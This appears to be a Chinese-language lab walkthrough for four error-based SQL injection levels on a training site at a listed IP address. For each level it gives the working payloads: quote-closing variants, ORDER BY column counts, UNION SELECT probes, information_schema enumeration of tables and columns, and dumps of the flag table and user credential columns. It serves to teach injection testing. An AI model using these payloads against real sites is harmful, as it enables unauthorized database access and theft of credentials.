四关地址:
http://59.63.200.79:8812/New/ErrorBased/RankOne/sql-one/
http://59.63.200.79:8812/New/ErrorBased/RankTwo/sql-two/
http://59.63.200.79:8812/New/ErrorBased/RankThree/sql-three/
http://59.63.200.79:8812/New/ErrorBased/RankFour/sql-four/
显错注入第一关:
1、首先判断是否有注入输入?id=1 和?id=1’ 页面改变 说明存在注入
2、输入?id=1 order by 1 2 3 4判断字段数为3 根据结果显示 id需要’闭合
[图片]
3、联合注入判断回显点:
?id=9.999' union select 1,2,3 --+ #注释掉后面的limit
判断出回显点为2和3字段
4、使用系统自带库查询所有表名和字段名:
数据库中的一个所有库的表:表名information_schema.tables 库名字段 table_schema 指定库名database()查表名
数据库中的一个所有表的表:表名information_schema.columns 表名字段table_name 列名字段:column_name 指定表名查字段名
?id=9.999' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+
现在知道表名可以查字段名了:
?id=9.999' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='zkaq'--+
现在知道表名字段名可以查里面的值了:
?id=9.999' union select 1,group_concat(zKaQ),3 from zkaq --+
?id=1' union select 1,2,group_concat(zKaQ) from zkaq limit 1,1--+
就可以把所有表值全部查出:
表名:emails,referers,uagents,users,zkaq
zkaq表字段名:flag,zKaQ
emails表字段名:id,email_id
referers表字段名:id,referer,ip_address
uagents表字段名:id,uagent,ip_address,username
users表字段名:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username(zkz,zkaq),password(zkz,zkaq)
显错注入第二关
第二关除了?id后面不用和第一关一样加’闭合外 其他基本一样
显错注入第三关
第三关先输入?id=1出现以下图示:
由此可见,这一关我们需要闭合前面的括号,注释掉后面的括号:?id=1‘) and 1=1%20 —+
后面的操作和前两关类似
?id=9.999 ') union select 1,2,group_concat(zKaQ) from zkaq --+ #需要闭合前面的括号,注释掉后面的括号
显错注入第四关
第四关与第三关类似 只是由单引号变为双引号 和上一关相似的闭合方法:
?id=1 ") and 1=1 --+
步骤与以上方法一致:
?id=9.999 ")%20 union select 1,2,group_concat(zKaQ) from zkaq --+